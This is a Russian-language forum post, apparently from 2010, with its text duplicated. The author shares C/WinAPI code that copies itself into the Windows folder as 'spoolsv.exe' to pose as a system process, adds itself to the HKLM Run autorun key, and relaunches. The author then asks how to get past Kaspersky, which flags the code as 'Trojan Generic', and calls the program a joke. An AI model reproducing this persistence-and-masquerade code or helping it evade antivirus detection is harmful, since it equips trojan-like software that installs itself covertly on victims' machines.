agrofyl2
22.02.2010, 13:09
Пытаюсь скопировать файлик в папку винды, прописать его в реестр и запустить
void OnStart() {
//Получаем путь к своей программе
wchar_t path[1025]=L"";
GetModuleFileNameW(NULL, path, 1024);
//Получаем путь для копирования
wchar_t copy2path[1025]=L"";
GetWindowsDirectoryW(copy2path, 1024);
wcscat(copy2path, L"\\spoolsv.exe");
//Сравниваем пути
if(wcsicmp(path, copy2path)==0) return;
//Либо 1) Еще не скопированы в систему
//2) Скопированы, но запущено вторично из др. источника
//Если не удалось скопироваться - значит уже скопированы/неудачно скопированы - выходим
if(!CopyFileW(path, copy2path, 1)) {
MessageBox(0, "Cant copy", "", 0);
exit(0);
}
//Если скопированы удачно - добавляемся в реестр
else {
HKEY key;//Add In Autorun
DWORD action;
if(ERROR_SUCCESS==RegCreateKeyEx(HKEY_LOCAL_MACHIN E, __T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, &action))
{
RegSetValueExW(key, L"spoolsv", 0, REG_SZ, (LPBYTE)copy2path, lstrlenW(copy2path)*2+1);
RegCloseKey(key);
//Добавлено удачно - запускаем программу, а сами выходим
char forexec[1025]="";
wcstombs(forexec, copy2path, 1024);
STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si);
if(!CreateProcess(forexec, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
WinExec(forexec, 0);
exit(0);
}
exit(0);
}
}
Но касперский пишет: "поведение, похожее на Trojan Generic"
Файл скопирован и добавлен в реестр(непонятно почему), но повторно не запускается(до CreateProcess выполнение не доходит)
Методом исключения было установлено, что антивирус реагирует на строчку CopyFileW
В принципе пишу программу-шутку и универсальность не нужна. Скопировать файл через коммандную строку чтоли?
void OnStart() {
//Получаем путь к своей программе
wchar_t path[1025]=L"";
GetModuleFileNameW(NULL, path, 1024);
//Получаем путь для копирования
wchar_t copy2path[1025]=L"";
GetWindowsDirectoryW(copy2path, 1024);
wcscat(copy2path, L"\\spoolsv.exe");
//Сравниваем пути
if(wcsicmp(path, copy2path)==0) return;
//Либо 1) Еще не скопированы в систему
//2) Скопированы, но запущено вторично из др. источника
//Если не удалось скопироваться - значит уже скопированы/неудачно скопированы - выходим
if(!CopyFileW(path, copy2path, 1)) {
MessageBox(0, "Cant copy", "", 0);
exit(0);
}
//Если скопированы удачно - добавляемся в реестр
else {
HKEY key;//Add In Autorun
DWORD action;
if(ERROR_SUCCESS==RegCreateKeyEx(HKEY_LOCAL_MACHIN E, __T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, &action))
{
RegSetValueExW(key, L"spoolsv", 0, REG_SZ, (LPBYTE)copy2path, lstrlenW(copy2path)*2+1);
RegCloseKey(key);
//Добавлено удачно - запускаем программу, а сами выходим
char forexec[1025]="";
wcstombs(forexec, copy2path, 1024);
STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si);
if(!CreateProcess(forexec, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
WinExec(forexec, 0);
exit(0);
}
exit(0);
}
}
Но касперский пишет: "поведение, похожее на Trojan Generic"
Файл скопирован и добавлен в реестр(непонятно почему), но повторно не запускается(до CreateProcess выполнение не доходит)
Методом исключения было установлено, что антивирус реагирует на строчку CopyFileW
В принципе пишу программу-шутку и универсальность не нужна. Скопировать файл через коммандную строку чтоли?